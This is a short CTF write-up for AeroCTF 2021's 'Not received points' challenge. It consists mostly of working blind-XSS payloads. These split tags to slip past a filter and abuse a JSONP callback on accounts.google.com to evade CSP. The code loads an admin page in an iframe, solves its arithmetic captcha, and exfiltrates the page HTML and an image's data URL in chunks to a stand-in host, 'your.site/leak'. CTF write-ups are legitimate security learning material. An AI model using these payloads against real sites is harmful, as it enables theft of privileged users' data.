AeroCTF 2021’s Not received points solution
Solving a simple captcha and retrieving an image contents through a blind XSS @AeroCTF’s “Not received (points|prize)” w/ @ripp3rsCTF
Context: tweet
Void _.escape
// this made empty the client-side func that escaped our input
_.escape = function(s) {return s}
Leak flag image uri
// XSS through JSONP from accounts.google.com
<scr<script>ipt src="https://accounts.google.com/o/oauth2/revoke?callback=(function(){
var frame=document.createElement('iframe');
frame.src='/admin/prize.html';
frame.onload = function () {
setTimeout(function() {
// window.open('http://your.site/leak?leak='%2BencodeURIComponent(frame.contentDocument.body.innerHTML));
problem = frame.contentDocument.querySelector('span[id=ex]').textContent;
problem_parts = problem.split(' ');
uno = problem_parts[0];
dos = problem_parts[2];
caso = problem_parts[1];
// couldn't eval because of CSP
if (caso == '/') {
sol = uno / dos;
};
if (caso == '*') {
sol = uno * dos;
};
// solve captcha inside iframe
frame.contentDocument.querySelector('input').value = sol;
frame.contentDocument.querySelector('button').click();
// window.open('http://your.site/leak?leak='%2BencodeURIComponent(problem%2Bcaso%2Bsol%2Bproblem_parts));
setTimeout(function() {
// leak HTML once captcha is solved
window.open('http://your.site/leak?leak='%2BencodeURIComponent(frame.contentDocument.body.innerHTML));
}, 500);
}, 500);
};
document.body.appendChild(frame);
})();"></scr<script>ipt>
Leak image contents
// fail image: /admin/img/bf3adc3899a7b88bbedbe51271472a15.png
<im<img>g src="/admin/img/175193053491407376ff47dc6e834673.png" id="myimage" />
// 2000x2000 wasn't needed but we wanted to make sure it was enough
<can<img>vas width="2000" height="2000" id="mycanvas" style="display: none;"></can<img>vas>
<scr<script>ipt src="https://accounts.google.com/o/oauth2/revoke?callback=(function(){
var myImage = document.getElementById('myimage');
var myCanvas = document.getElementById('mycanvas');
var ctx = myCanvas.getContext('2d');
ctx.drawImage(myImage, 0, 0);
var text = myCanvas.toDataURL('image/png');
i=0;
// @danielcues magic
while(-Math.sign(i%2b500-text.length)){
if (text.substring(i,i%2b500)=='') {
break;
}
window.open('http://your.site/'%2bi%2b'?w='%2BencodeURIComponent(text.substring(i,i%2b500)));
i = i %2B 500;
// Trying to de-asynchronize window.open
a = 0;
while(a!=90000000){a%2B%2B;}
}
// leak the left bytes
window.open('http://your.site/'%2bi%2b'?w='%2BencodeURIComponent(text.substring(i,text.length)));
})();"></scr<script>ipt>
Read other posts